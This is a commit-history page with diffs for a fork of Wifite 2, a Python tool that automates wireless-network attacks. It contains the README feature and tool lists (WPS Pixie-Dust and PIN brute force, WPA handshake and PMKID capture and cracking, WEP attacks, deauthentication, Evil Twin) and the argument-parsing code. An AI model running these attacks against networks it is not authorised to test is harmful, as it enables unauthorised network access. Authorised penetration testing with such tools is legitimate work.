37 Commits

Author SHA1 Message Date
Alexandre CHAZAL
cfeaa3f066 Update README.md 2019-04-22 17:18:59 +08:00
104e45637b Migrated from ifconfig to ip 2019-01-27 17:11:56 +01:00
4baf8f5c46 Forgot to push this file. 2019-01-27 12:49:24 +01:00
Alexandre CHAZAL
5badcf2488 Update README.md 2019-01-27 12:43:10 +01:00
ceebb14ea8 Migrated from iwconfig to iw 2019-01-27 12:39:59 +01:00
derv82
e190794149 Use enums to describe target WPS state.
To avoid confusion about wps = True/False/None.
Came about because of #130
2018-09-09 10:39:57 -07:00
WhiteOnBlackCode
355f891d0f Created PMKID argument group (#136)
* Added PMKID argument group
2018-09-09 09:47:54 -07:00
derv82
710dd98b66 Detect when --dict is a directory, show warning and ignore wordlist.
In case people pass in a directory, until we figure out #135
2018-09-03 17:02:27 -07:00
derv82
79b2753929 Small fixes for #133
* Avoid cracking the same PMKID twice when selecting multiple files &
specifying a tool that is not hashcat.

* Mention PMKID hashes can only be cracked using hashcat:
  1. If all files are PMKID, or
  2. If the file is PMKID but a tool other than hashcat was chosen.

* Fix header colors if a warning is printed before the handshake files.
2018-09-03 11:02:34 -07:00
WhiteOnBlackCode
6d492aca44 Do not show handshake files that are in cracked.txt with a key (match on filename) (#133)
Make cracked.txt a configurable variable
* Do not show handshake files that are in cracked.txt with a key (match on filename).
* Don't ask user for a crack-tool when attacking PMKIDs only
* Few minor cleanups

Fixed any_pmkid -> all_pmkid (to decide that we are strictly using hashcat)
* Added a safe-check to make sure we are indeed using hashcat for the PMKID hashes
* Changed the ugly split() to basename()

Making an FR from the TODO
2018-09-03 10:53:59 -07:00
derv82
5e204686fa 2.2.5: PMKID timeout changed to 30sec. --pmkid-timeout option to change.
For #134
2018-09-03 10:42:55 -07:00
derv82
838ea43a73 2.2.4: Version bump for recent fixes (more ctrl+c options).
Includes:
* More options when interrupting mid-attack (continue/skip/exit)
* Show error when --wps-only and --pmkid are both specified
* Use `--force` when calling Bully to force-continue.
* README (updated, new screenshots).
2018-09-02 12:33:03 -07:00
derv82
13e51576d5 Updating screenshots 2018-09-02 12:31:12 -07:00
derv82
0f8b6d6a66 Use --force with bully 2018-09-02 12:04:04 -07:00
derv82
467f40d68a Fixing logic with switches, updating README.
Some switches are not compatible (--wps-only + --pmkid).
Wifite detects & stops if options are incompatible.

README was oudated (said no PIN attack), updated some URLs.
2018-09-02 10:59:11 -07:00
derv82
7309dfcce6 Interrupting mid-attack, users can Continue/Skip/Exit. 2018-09-02 09:58:26 -07:00
derv82
d7c51461f6 Detect when reaver does not support --pixie-dust, use bully if possible. 2018-09-01 14:47:16 -07:00
derv82
5d77cb63a3 Avoid WPS if no reaver+bully. Use bully if reaver isn't available. 2018-08-26 22:29:23 -07:00
derv82
e30a8cad07 Fix Airmon output-parsing.
On latest ubuntu, apt-get install aircrack, output is slightly different.
2018-08-26 22:01:54 -07:00
derv82
17bd96f297 Python improvements, messaging improvements.
Small code changed as proposed in #128.
This should close #128.

Slowly moving towards Camel-case in script output.
2018-08-24 19:37:55 -07:00
derv82
7f0197e80e Rewording some printed text. 2018-08-24 19:17:06 -07:00
derv82
2e671e0273 Detect when AP has WPS Locked, show in target list 2018-08-24 16:50:24 -07:00
derv82
141934a7b1 Bully: Stop if AP becomes locked 2018-08-23 19:05:20 -07:00
derv82
750fe086fa Reaver: Stop if AP becomes locked. Config/Args cleanup 2018-08-23 18:57:56 -07:00
derv82
9beae4beb2 2.2.3: Version bump for WPS PIN changes
Brought back the WPS PIN attack as asked in #90.

Also in this commit: Fixed PIN counter in reaver's PIN attack.
2018-08-23 15:37:43 -07:00
derv82
a637855ab4 Fix & optimize reaver output parsing. 2018-08-23 15:11:52 -07:00
derv82
75d4d8e99d Bully works. Pixie and PIN attacks are separate attacks. 2018-08-23 14:46:21 -07:00
derv82
3f947b98c0 Reaver PIN attack counts time forwards, does not time out. 2018-08-23 08:32:30 -07:00
derv82
aac6740fc1 Small fixes for Python 3 2018-08-23 08:31:57 -07:00
derv82
d6c1c8d82e Refactor/reformat config + args. 2018-08-23 08:30:41 -07:00
derv82
96db340b57 (Reaver) Run WPS Pin Attack if Pixie-Dust fails. 2018-08-22 16:42:16 -07:00
derv82
04e67dba21 2.2.2: Version bump for --crack improvements. Fix wordlists.
Finally clears up #102.
2018-08-21 14:02:54 -07:00
derv82
f641ea53c4 Fix but when cracking with John, small fixes.
* --crack commands printed consistently (same color/format).
* Only warn about PMKID -> hashcat once if any selected handshakes are PMKIDs
2018-08-21 13:55:22 -07:00
derv82
d01470a8e4 Bringing back Wifite.py
Because why not.
2018-08-21 00:16:15 -07:00
derv82
dd0e44cf53 --crack: Dependency management, avoid dupes in cracked.txt
* Dupes are skipped if everything *except* date matches (same bssid/ssid/type/key)
* John: Detect and use OpenCL or CUDA using `john --list=formats`
* Removed `wifite.py` as it's no longer used & is confusing.
2018-08-21 00:04:21 -07:00
derv82
4173ef46e5 --crack supports hashcat, aircrack, john, cowpatty, and pyrit.
* Still not "print" option for --crack.
* Checks hashcat for devices, uses --force if no devices are found.
* Interrupting --crack stops entire process, not just a single crack attempt
* Changed wordlist location, hopefully completes #102.
2018-08-20 19:33:42 -07:00
derv82
a063f08388 Updating README
Moved things around, added more info, added links to required tools.
2018-08-20 11:44:10 -07:00
35 changed files with 1550 additions and 856 deletions

190
README.md
View File

@@ -1,37 +1,110 @@
Wifite 2 Fork note
======== =========
A complete re-write of [`wifite`](https://github.com/derv82/wifite), a Python script for auditing wireless networks. This fork has made the migration from the deprecated iwconfig and ifconfig to iw and ip.
I also added an option to disable monitor mode on the wifi antenna after wifite quits.
Wifite
======
This repo is a complete re-write of [`wifite`](https://github.com/derv82/wifite), a Python script for auditing wireless networks.
Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches! Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches!
This version is compatible with both `python2` and `python3`. Wifite is designed to use all known methods for retrieving the password of a wireless access point (router). These methods include:
1. WPS: The [Offline Pixie-Dust attack](https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup#Offline_brute-force_attack)
1. WPS: The [Online Brute-Force PIN attack](https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup#Online_brute-force_attack)
2. WPA: The [WPA Handshake Capture](https://hashcat.net/forum/thread-7717.html) + offline crack.
3. WPA: The [PMKID Hash Capture](https://hashcat.net/forum/thread-7717.html) + offline crack.
4. WEP: Various known attacks against WEP, including *fragmentation*, *chop-chop*, *aireplay*, etc.
Installation Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.
------------
From the root directory of this package: Supported Operating Systems
---------------------------
Wifite is designed specifically for the latest version of [**Kali** Linux](https://www.kali.org/). [ParrotSec](https://www.parrotsec.org/) is also supported.
Run *wifite* using: `python -m wifite` Other pen-testing distributions (such as BackBox or Ubuntu) have outdated versions of the tools used by Wifite. Do not expect support unless you are using the latest versions of the *Required Tools*, and also [patched wireless drivers that support injection]().
Required Tools
--------------
First and foremost, you will need a wireless card capable of "Monitor Mode" and packet injection (see [this tutorial for checking if your wireless card is compatible](http://www.aircrack-ng.org/doku.php?id=compatible_cards) and also [this guide](https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup#Offline_brute-force_attack)). There are many cheap wireless cards that plug into USB available from online stores.
Second, only the latest versions of these programs are supported and must be installed for Wifite to work properly:
**Required:**
* `python`: Wifite is compatible with both `python2` and `python3`.
* [`iw`](https://wireless.wiki.kernel.org/en/users/documentation/iw): For identifying wireless devices already in Monitor Mode.
* [`ifconfig`](https://en.wikipedia.org/wiki/Ifconfig): For starting/stopping wireless devices.
* [`Aircrack-ng`](http://aircrack-ng.org/) suite, includes:
* [`airmon-ng`](https://tools.kali.org/wireless-attacks/airmon-ng): For enumerating and enabling Monitor Mode on wireless devices.
* [`aircrack-ng`](https://tools.kali.org/wireless-attacks/aircrack-ng): For cracking WEP .cap files and WPA handshake captures.
* [`aireplay-ng`](https://tools.kali.org/wireless-attacks/aireplay-ng): For deauthing access points, replaying capture files, various WEP attacks.
* [`airodump-ng`](https://tools.kali.org/wireless-attacks/airodump-ng): For target scanning & capture file generation.
* [`packetforge-ng`](https://tools.kali.org/wireless-attacks/packetforge-ng): For forging capture files.
**Optional, but Recommended:**
* [`tshark`](https://www.wireshark.org/docs/man-pages/tshark.html): For detecting WPS networks and inspecting handshake capture files.
* [`reaver`](https://github.com/t6x/reaver-wps-fork-t6x): For WPS Pixie-Dust & brute-force attacks.
* Note: Reaver's `wash` tool can be used to detect WPS networks if `tshark` is not found.
* [`bully`](https://github.com/aanarchyy/bully): For WPS Pixie-Dust & brute-force attacks.
* Alternative to Reaver. Specify `--bully` to use Bully instead of Reaver.
* Bully is also used to fetch PSK if `reaver` cannot after cracking WPS PIN.
* [`coWPAtty`](https://tools.kali.org/wireless-attacks/cowpatty): For detecting handshake captures.
* [`pyrit`](https://github.com/JPaulMora/Pyrit): For detecting handshake captures.
* [`hashcat`](https://hashcat.net/): For cracking PMKID hashes.
* [`hcxdumptool`](https://github.com/ZerBea/hcxdumptool): For capturing PMKID hashes.
* [`hcxpcaptool`](https://github.com/ZerBea/hcxtools): For converting PMKID packet captures into `hashcat`'s format.
Run Wifite
----------
```
git clone https://github.com/derv82/wifite2.git
cd wifite2
sudo ./Wifite.py
```
Install Wifite
--------------
To install onto your computer (so you can just run `wifite` from any terminal), run: To install onto your computer (so you can just run `wifite` from any terminal), run:
```bash ```bash
sudo python setup.py install sudo python setup.py install
``` ```
---- This will install `wifite` to `/usr/sbin/wifite` which should be in your terminal path.
Note: Uninstalling is [not as easy](https://stackoverflow.com/questions/1550226/python-setup-py-uninstall#1550235). The only way to uninstall is to record the files installed by the above command and *remove* those files: **Note:** Uninstalling is [not as easy](https://stackoverflow.com/questions/1550226/python-setup-py-uninstall#1550235). The only way to uninstall is to record the files installed by the above command and *remove* those files:
```bash ```bash
sudo python setup.py install --record files.txt sudo python setup.py install --record files.txt \
cat files.txt | xargs sudo rm -f && cat files.txt | xargs sudo rm \
sudo rm -f files.txt && rm -f files.txt
``` ```
What's new in Wifite2? Brief Feature List
---------------------- ------------------
* [PMKID hash capture](https://hashcat.net/forum/thread-7717.html) (enabled by-default, force with: `--pmkid`)
* WPS Offline Brute-Force Attack aka "Pixie-Dust". (enabled by-default, force with: `--wps-only --pixie`)
* WPS Online Brute-Force Attack aka "PIN attack". (enabled by-default, force with: `--wps-only --no-pixie`)
* WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture (enabled by-default, force with: `--no-wps`)
* Validates handshakes against `pyrit`, `tshark`, `cowpatty`, and `aircrack-ng` (when available)
* Various WEP attacks (replay, chopchop, fragment, hirte, p0841, caffe-latte)
* Automatically decloaks hidden access points while scanning or attacking.
* Note: Only works when channel is fixed. Use `-c <channel>`
* Disable this using `--no-deauths`
* 5Ghz support for some wireless cards (via `-5` switch).
* Note: Some tools don't play well on 5GHz channels (e.g. `aireplay-ng`)
* Stores cracked passwords and handshakes to the current directory (`--cracked`)
* Includes information about the cracked access point (Name, BSSID, Date, etc).
* Easy to try to crack handshakes or PMKID hashes against a wordlist (`--crack`)
What's new?
-----------
Comparing this repo to the "old wifite" @ https://github.com/derv82/wifite
* **Less bugs** * **Less bugs**
* Cleaner process management. Does not leave processes running in the background (the old `wifite` was bad about this). * Cleaner process management. Does not leave processes running in the background (the old `wifite` was bad about this).
@@ -44,100 +117,41 @@ What's new in Wifite2?
* **Educational** * **Educational**
* The `--verbose` option (expandable to `-vv` or `-vvv`) shows which commands are executed & the output of those commands. * The `--verbose` option (expandable to `-vv` or `-vvv`) shows which commands are executed & the output of those commands.
* This can help debug why Wifite is not working for you. Or so you can learn how these tools are used. * This can help debug why Wifite is not working for you. Or so you can learn how these tools are used.
* Actively developed (as of March 2018). * More-actively developed.
* Python 3 support. * Python 3 support.
* Sweet new ASCII banner. * Sweet new ASCII banner.
What's gone in Wifite2? What's gone?
----------------------- ------------
* No more WPS PIN attack, because it can take days on-average.
* However, the Pixie-Dust attack is still an option.
* Some command-line arguments (`--wept`, `--wpst`, and other confusing switches). * Some command-line arguments (`--wept`, `--wpst`, and other confusing switches).
* You can still access some of these, try `./Wifite.py -h -v` * You can still access some of these obscure options, try `wifite -h -v`
What's not new? What's not new?
--------------- ---------------
* (Mostly) Backwards compatible with the original `wifite`'s arguments. * (Mostly) Backwards compatible with the original `wifite`'s arguments.
* Same text-based interface everyone knows and loves. * Same text-based interface everyone knows and loves.
Brief Feature List
------------------
* Reaver (or `-bully`) Pixie-Dust attack (enabled by-default, force with: `--wps-only`)
* WPA handshake capture (enabled by-default, force with: `--no-wps`)
* Validates handshakes against `pyrit`, `tshark`, `cowpatty`, and `aircrack-ng` (when available)
* Various WEP attacks (replay, chopchop, fragment, hirte, p0841, caffe-latte)
* Automatically decloaks hidden access points while scanning or attacking.
* Note: Only works when channel is fixed. Use the `-c <channel>` switch.
* Disable this via `--no-deauths` switch
* 5Ghz support for some wireless cards (via `-5` switch).
* Note: Some tools don't play well on 5GHz channels (e.g. `aireplay-ng`)
* Stores cracked passwords and handshakes to the current directory (`--cracked`)
* Includes metadata about the access point.
* Provides commands to crack captured WPA handshakes (`--crack`)
* Includes all commands needed to crack using `aircrack-ng`, `john`, `hashcat`, or `pyrit`.
Linux Distribution Support
--------------------------
Wifite2 is designed specifically for the latest version of **Kali**'s rolling release (tested on Kali 2017.2, updated Jan 2018).
Other pen-testing distributions (such as BackBox) have outdated versions of the tools used by Wifite; these distributions are not supported.
Required Tools
--------------
Only the latest versions of these programs are supported:
**Required:**
* `iwconfig`: For identifying wireless devices already in Monitor Mode.
* `ifconfig`: For starting/stopping wireless devices.
* `Aircrack-ng` suite, includes:
* `aircrack-ng`: For cracking WEP .cap files and WPA handshake captures.
* `aireplay-ng`: For deauthing access points, replaying capture files, various WEP attacks.
* `airmon-ng`: For enumerating and enabling Monitor Mode on wireless devices.
* `airodump-ng`: For target scanning & capture file generation.
* `packetforge-ng`: For forging capture files.
**Optional, but Recommended:**
* `tshark`: For detecting WPS networks and inspecting handshake capture files.
* `reaver`: For WPS Pixie-Dust attacks.
* Note: Reaver's `wash` tool can be used to detect WPS networks if `tshark` is not found.
* `bully`: For WPS Pixie-Dust attacks.
* Alternative to Reaver. Specify `--bully` to use Bully instead of Reaver.
* Bully is also used to fetch PSK if `reaver` cannot after cracking WPS PIN.
* `cowpatty`: For detecting handshake captures.
* `pyrit`: For detecting handshake captures.
Installing & Running
--------------------
```
git clone https://github.com/derv82/wifite2.git
cd wifite2
./Wifite.py
```
Screenshots Screenshots
----------- -----------
Cracking WPS PIN using `reaver`'s Pixie-Dust attack, then fetching WPA key using `bully`:
![Pixie-Dust with Reaver to get PIN and Bully to get PSK](https://i.imgur.com/Q5KSDbg.gif)
Cracking WPS PIN using `reaver`'s Pixie-Dust attack, then retrieving WPA PSK using `bully`: -------------
![Pixie-Dust with Reaver to get PIN and Bully to get PSK](https://i.imgur.com/I2W0wND.gif)
Cracking WPA key using PMKID attack:
![PMKID attack](https://i.imgur.com/CR8oOp0.gif)
------------- -------------
Decloaking & cracking a hidden access point (via the WPA Handshake attack): Decloaking & cracking a hidden access point (via the WPA Handshake attack):
![Decloaking and Cracking a hidden access point](http://i.imgur.com/MTMwSzM.gif) ![Decloaking and Cracking a hidden access point](https://i.imgur.com/F6VPhbm.gif)
------------- -------------
Cracking a weak WEP password (using the WEP Replay attack): Cracking a weak WEP password (using the WEP Replay attack):
![Cracking a weak WEP password](http://i.imgur.com/VIeltx9.gif) ![Cracking a weak WEP password](https://i.imgur.com/jP72rVo.gif)
------------- -------------
Various cracking options (using `--crack` option): Cracking a pre-captured handshake using John The Ripper (via the `--crack` option):
![--crack option](http://i.imgur.com/rydOakW.png) ![--crack option](https://i.imgur.com/iHcfCjp.gif)

7
Wifite.py Executable file
View File

@@ -0,0 +1,7 @@
#!/usr/bin/env python
# Note: This script runs Wifite from within a cloned git repo.
# The script `bin/wifite` is designed to be run after installing (from /usr/sbin), not from the cwd.
from wifite import __main__
__main__.entry_point()

View File

@@ -56,11 +56,11 @@ class Wifite(object):
def print_banner(self): def print_banner(self):
'''Displays ASCII art of the highest caliber.''' '''Displays ASCII art of the highest caliber.'''
Color.pl(r'{G} . {GR}{D} {W}{G} . {W}') Color.pl(r' {G} . {GR}{D} {W}{G} . {W}')
Color.pl(r'{G}.´ · .{GR}{D} {W}{G}. · `. {G}wifite {D}%s{W}' % Configuration.version) Color.pl(r' {G}.´ · .{GR}{D} {W}{G}. · `. {G}wifite {D}%s{W}' % Configuration.version)
Color.pl(r'{G}: : : {GR}{D} (¯) {W}{G} : : : {W}{D}automated wireless auditor{W}') Color.pl(r' {G}: : : {GR}{D} (¯) {W}{G} : : : {W}{D}automated wireless auditor{W}')
Color.pl(r'{G}`. · `{GR}{D}\ {W}{G}´ · .´ {C}{D}https://github.com/derv82/wifite2{W}') Color.pl(r' {G}`. · `{GR}{D}\ {W}{G}´ · .´ {C}{D}https://github.com/derv82/wifite2{W}')
Color.pl(r'{G} ` {GR}{D}/¯¯¯\{W}{G} ´ {W}') Color.pl(r' {G} ` {GR}{D}/¯¯¯\{W}{G} ´ {W}')
Color.pl('') Color.pl('')
@@ -96,7 +96,7 @@ def entry_point():
Color.pl('\n{!} {R}Exiting{W}\n') Color.pl('\n{!} {R}Exiting{W}\n')
except KeyboardInterrupt: except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted, shutting down...{W}') Color.pl('\n{!} {O}Interrupted, Shutting down...{W}')
Configuration.exit_gracefully(0) Configuration.exit_gracefully(0)

View File

@@ -24,25 +24,16 @@ class Arguments(object):
''' Returns parser.args() containing all program arguments ''' ''' Returns parser.args() containing all program arguments '''
parser = argparse.ArgumentParser(usage=argparse.SUPPRESS, parser = argparse.ArgumentParser(usage=argparse.SUPPRESS,
formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=80, width=130)) formatter_class=lambda prog: argparse.HelpFormatter(
prog, max_help_position=80, width=130))
glob = parser.add_argument_group('SETTINGS') self._add_global_args(parser.add_argument_group(Color.s('{C}SETTINGS{W}')))
self._add_global_args(glob) self._add_wep_args(parser.add_argument_group(Color.s('{C}WEP{W}')))
self._add_wpa_args(parser.add_argument_group(Color.s('{C}WPA{W}')))
wep_group = parser.add_argument_group('WEP') self._add_wps_args(parser.add_argument_group(Color.s('{C}WPS{W}')))
self._add_wep_args(wep_group) self._add_pmkid_args(parser.add_argument_group(Color.s('{C}PMKID{W}')))
self._add_eviltwin_args(parser.add_argument_group(Color.s('{C}EVIL TWIN{W}')))
wpa_group = parser.add_argument_group('WPA') self._add_command_args(parser.add_argument_group(Color.s('{C}COMMANDS{W}')))
self._add_wpa_args(wpa_group)
wps_group = parser.add_argument_group('WPS')
self._add_wps_args(wps_group)
eviltwin_group = parser.add_argument_group('EVIL TWIN')
self._add_eviltwin_args(eviltwin_group)
commands_group = parser.add_argument_group('COMMANDS')
self._add_command_args(commands_group)
return parser.parse_args() return parser.parse_args()
@@ -53,22 +44,32 @@ class Arguments(object):
action='count', action='count',
default=0, default=0,
dest='verbose', dest='verbose',
help=Color.s('Shows more options ({C}-h -v{W}). Prints commands and outputs. (default: {G}quiet{W})')) help=Color.s('Shows more options ({C}-h -v{W}). Prints commands and ' +
'outputs. (default: {G}quiet{W})'))
glob.add_argument('-i', glob.add_argument('-i',
action='store', action='store',
dest='interface', dest='interface',
metavar='[interface]', metavar='[interface]',
type=str, type=str,
help=Color.s('Wireless interface to use (default: {G}choose first or ask{W})')) help=Color.s('Wireless interface to use, e.g. {C}wlan0mon{W} ' +
'(default: {G}ask{W})'))
glob.add_argument('-c', glob.add_argument('-c',
action='store', action='store',
dest='channel', dest='channel',
metavar='[channel]', metavar='[channel]',
type=int, type=int,
help=Color.s('Wireless channel to scan (default: {G}all channels{W})')) help=Color.s('Wireless channel to scan (default: {G}all 2Ghz channels{W})'))
glob.add_argument('--channel', help=argparse.SUPPRESS, action='store', dest='channel', type=int) glob.add_argument('--channel', help=argparse.SUPPRESS, action='store',
dest='channel', type=int)
glob.add_argument('-5',
'--5ghz',
action='store_true',
dest='five_ghz',
help=self._verbose('Include 5Ghz channels (default: {G}off{W})'))
glob.add_argument('-mac', glob.add_argument('-mac',
'--random-mac', '--random-mac',
@@ -81,29 +82,28 @@ class Arguments(object):
dest='scan_time', dest='scan_time',
nargs='?', nargs='?',
const=10, const=10,
metavar='scantime', metavar='scan_time',
type=int, type=int,
help=Color.s('{G}Pillage{W}: Attack all targets after {C}scantime{W} seconds')) help=Color.s('{G}Pillage{W}: Attack all targets after ' +
glob.add_argument('--pillage', help=argparse.SUPPRESS, action='store', dest='scan_time', nargs='?', const=10, type=int) '{C}scan_time{W} (seconds)'))
glob.add_argument('--pillage', help=argparse.SUPPRESS, action='store',
dest='scan_time', nargs='?', const=10, type=int)
glob.add_argument('--kill', glob.add_argument('--kill',
action='store_true', action='store_true',
dest='kill_conflicting_processes', dest='kill_conflicting_processes',
help=Color.s('Kill processes that conflict with Airmon/Airodump (default: {G}off{W})')) help=Color.s('Kill processes that conflict with Airmon/Airodump ' +
'(default: {G}off{W})'))
glob.add_argument('-5',
'--5ghz',
action='store_true',
dest='five_ghz',
help=self._verbose('Include 5Ghz channels (default: {G}off{W})'))
glob.add_argument('-b', glob.add_argument('-b',
action='store', action='store',
dest='target_bssid', dest='target_bssid',
metavar='[bssid]', metavar='[bssid]',
type=str, type=str,
help=self._verbose('BSSID (e.g. {GR}AA:BB:CC:DD:EE:FF{W}) of access point to attack')) help=self._verbose('BSSID (e.g. {GR}AA:BB:CC:DD:EE:FF{W}) of access ' +
glob.add_argument('--bssid', help=argparse.SUPPRESS, action='store', dest='target_bssid', type=str) 'point to attack'))
glob.add_argument('--bssid', help=argparse.SUPPRESS, action='store',
dest='target_bssid', type=str)
glob.add_argument('-e', glob.add_argument('-e',
action='store', action='store',
@@ -111,7 +111,8 @@ class Arguments(object):
metavar='[essid]', metavar='[essid]',
type=str, type=str,
help=self._verbose('ESSID (e.g. {GR}NETGEAR07{W}) of access point to attack')) help=self._verbose('ESSID (e.g. {GR}NETGEAR07{W}) of access point to attack'))
glob.add_argument('--essid', help=argparse.SUPPRESS, action='store', dest='target_essid', type=str) glob.add_argument('--essid', help=argparse.SUPPRESS, action='store',
dest='target_essid', type=str)
glob.add_argument('-E', glob.add_argument('-E',
action='store', action='store',
@@ -120,12 +121,14 @@ class Arguments(object):
type=str, type=str,
default=None, default=None,
help=self._verbose('Hides targets with ESSIDs that match the given text')) help=self._verbose('Hides targets with ESSIDs that match the given text'))
glob.add_argument('--ignore-essid', help=argparse.SUPPRESS, action='store', dest='ignore_essid', type=str) glob.add_argument('--ignore-essid', help=argparse.SUPPRESS, action='store',
dest='ignore_essid', type=str)
glob.add_argument('--clients-only', '-co', glob.add_argument('--clients-only',
action='store_true', action='store_true',
dest='clients_only', dest='clients_only',
help=Color.s('Only show targets that have associated clients (default: {G}off{W})')) help=Color.s('Only show targets that have associated clients ' +
'(default: {G}off{W})'))
glob.add_argument('--showb', glob.add_argument('--showb',
action='store_true', action='store_true',
@@ -135,9 +138,12 @@ class Arguments(object):
glob.add_argument('--nodeauths', glob.add_argument('--nodeauths',
action='store_true', action='store_true',
dest='no_deauth', dest='no_deauth',
help=Color.s('Passive mode: Never deauthenticates clients (default: {G}deauth targets{W})')) help=Color.s('Passive mode: Never deauthenticates clients ' +
glob.add_argument('--no-deauths', action='store_true', dest='no_deauth', help=argparse.SUPPRESS) '(default: {G}deauth targets{W})'))
glob.add_argument('-nd', action='store_true', dest='no_deauth', help=argparse.SUPPRESS) glob.add_argument('--no-deauths', action='store_true', dest='no_deauth',
help=argparse.SUPPRESS)
glob.add_argument('-nd', action='store_true', dest='no_deauth',
help=argparse.SUPPRESS)
glob.add_argument('--num-deauths', glob.add_argument('--num-deauths',
action='store', action='store',
@@ -145,8 +151,14 @@ class Arguments(object):
dest='num_deauths', dest='num_deauths',
metavar='[num]', metavar='[num]',
default=None, default=None,
help=self._verbose('Number of deauth packets to send (default: {G}%d{W})' % self.config.num_deauths)) help=self._verbose('Number of deauth packets to send (default: ' +
'{G}%d{W})' % self.config.num_deauths))
glob.add_argument('--demon',
action='store_true',
dest='demon',
help=Color.s('Puts device back in managed mode after quitting (default: '+
'{G}off{W})'))
def _add_eviltwin_args(self, group): def _add_eviltwin_args(self, group):
pass pass
@@ -154,7 +166,8 @@ class Arguments(object):
group.add_argument('--eviltwin', group.add_argument('--eviltwin',
action='store_true', action='store_true',
dest='use_eviltwin', dest='use_eviltwin',
help=Color.s('Use the "Evil Twin" attack against all targets (default: {G}off{W})')) help=Color.s('Use the "Evil Twin" attack against all targets ' +
'(default: {G}off{W})'))
# TODO: Args to specify deauth interface, server port, etc. # TODO: Args to specify deauth interface, server port, etc.
''' '''
@@ -164,140 +177,142 @@ class Arguments(object):
wep.add_argument('--wep', wep.add_argument('--wep',
action='store_true', action='store_true',
dest='wep_filter', dest='wep_filter',
help=Color.s('Filter to display only WEP-encrypted networks (default: {G}off{W})')) help=Color.s('Show only {C}WEP-encrypted networks{W}'))
wep.add_argument('-wep', help=argparse.SUPPRESS, action='store_true', dest='wep_filter') wep.add_argument('-wep', help=argparse.SUPPRESS, action='store_true',
dest='wep_filter')
wep.add_argument('--require-fakeauth', wep.add_argument('--require-fakeauth',
action='store_true', action='store_true',
dest='require_fakeauth', dest='require_fakeauth',
help=Color.s('Fails attacks if fake-auth fails (default: {G}off{W})')) help=Color.s('Fails attacks if {C}fake-auth{W} fails (default: {G}off{W})'))
wep.add_argument('--nofakeauth', help=argparse.SUPPRESS, action='store_true', dest='require_fakeauth') wep.add_argument('--nofakeauth', help=argparse.SUPPRESS, action='store_true',
wep.add_argument('-nofakeauth', help=argparse.SUPPRESS, action='store_true', dest='require_fakeauth') dest='require_fakeauth')
wep.add_argument('-nofakeauth', help=argparse.SUPPRESS, action='store_true',
dest='require_fakeauth')
wep.add_argument('--keep-ivs', wep.add_argument('--keep-ivs',
action='store_true', action='store_true',
dest='wep_keep_ivs', dest='wep_keep_ivs',
default=False, default=False,
help=Color.s('Retain .IVS files and reuse when cracking (default: {G}off{W})')) help=Color.s('Retain .IVS files and reuse when cracking ' +
'(default: {G}off{W})'))
wep.add_argument('--pps', wep.add_argument('--pps',
action='store', action='store',
dest='wep_pps', dest='wep_pps',
metavar='[pps]', metavar='[pps]',
type=int, type=int,
help=self._verbose('Packets Per Second to replay (default: {G}%d pps{W})' % self.config.wep_pps)) help=self._verbose('Packets-per-second to replay (default: ' +
wep.add_argument('-pps', help=argparse.SUPPRESS, action='store', dest='wep_pps', type=int) '{G}%d pps{W})' % self.config.wep_pps))
wep.add_argument('-pps', help=argparse.SUPPRESS, action='store',
dest='wep_pps', type=int)
wep.add_argument('--wept', wep.add_argument('--wept',
action='store', action='store',
dest='wep_timeout', dest='wep_timeout',
metavar='[seconds]', metavar='[seconds]',
type=int, type=int,
help=self._verbose('Seconds to wait before failing (default: {G}%d sec{W})' % self.config.wep_timeout)) help=self._verbose('Seconds to wait before failing (default: ' +
wep.add_argument('-wept', help=argparse.SUPPRESS, action='store', dest='wep_timeout', type=int) '{G}%d sec{W})' % self.config.wep_timeout))
wep.add_argument('-wept', help=argparse.SUPPRESS, action='store',
dest='wep_timeout', type=int)
wep.add_argument('--wepca', wep.add_argument('--wepca',
action='store', action='store',
dest='wep_crack_at_ivs', dest='wep_crack_at_ivs',
metavar='[ivs]', metavar='[ivs]',
type=int, type=int,
help=self._verbose('Start cracking at this many IVs (default: {G}%d ivs{W})' % self.config.wep_crack_at_ivs)) help=self._verbose('Start cracking at this many IVs (default: ' +
wep.add_argument('-wepca', help=argparse.SUPPRESS, action='store', dest='wep_crack_at_ivs', type=int) '{G}%d ivs{W})' % self.config.wep_crack_at_ivs))
wep.add_argument('-wepca', help=argparse.SUPPRESS, action='store',
dest='wep_crack_at_ivs', type=int)
wep.add_argument('--weprs', wep.add_argument('--weprs',
action='store', action='store',
dest='wep_restart_stale_ivs', dest='wep_restart_stale_ivs',
metavar='[seconds]', metavar='[seconds]',
type=int, type=int,
help=self._verbose('Restart aireplay if no new IVs appear (default: {G}%d sec{W})' % self.config.wep_restart_stale_ivs)) help=self._verbose('Restart aireplay if no new IVs appear (default: ' +
wep.add_argument('-weprs', help=argparse.SUPPRESS, action='store', dest='wep_restart_stale_ivs', type=int) '{G}%d sec{W})' % self.config.wep_restart_stale_ivs))
wep.add_argument('-weprs', help=argparse.SUPPRESS, action='store',
dest='wep_restart_stale_ivs', type=int)
wep.add_argument('--weprc', wep.add_argument('--weprc',
action='store', action='store',
dest='wep_restart_aircrack', dest='wep_restart_aircrack',
metavar='[seconds]', metavar='[seconds]',
type=int, type=int,
help=self._verbose('Restart aircrack after this delay (default: {G}%d sec{W})' % self.config.wep_restart_aircrack)) help=self._verbose('Restart aircrack after this delay (default: ' +
wep.add_argument('-weprc', help=argparse.SUPPRESS, action='store', dest='wep_restart_aircrack', type=int) '{G}%d sec{W})' % self.config.wep_restart_aircrack))
wep.add_argument('-weprc', help=argparse.SUPPRESS, action='store',
dest='wep_restart_aircrack', type=int)
wep.add_argument('--arpreplay', wep.add_argument('--arpreplay',
action='store_true', action='store_true',
dest='wep_attack_replay', dest='wep_attack_replay',
help=self._verbose('Use ARP-replay WEP attack (default: {G}on{W})')) help=self._verbose('Use {C}ARP-replay{W} WEP attack (default: {G}on{W})'))
wep.add_argument('-arpreplay', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_replay') wep.add_argument('-arpreplay', help=argparse.SUPPRESS, action='store_true',
dest='wep_attack_replay')
wep.add_argument('--fragment', wep.add_argument('--fragment',
action='store_true', action='store_true',
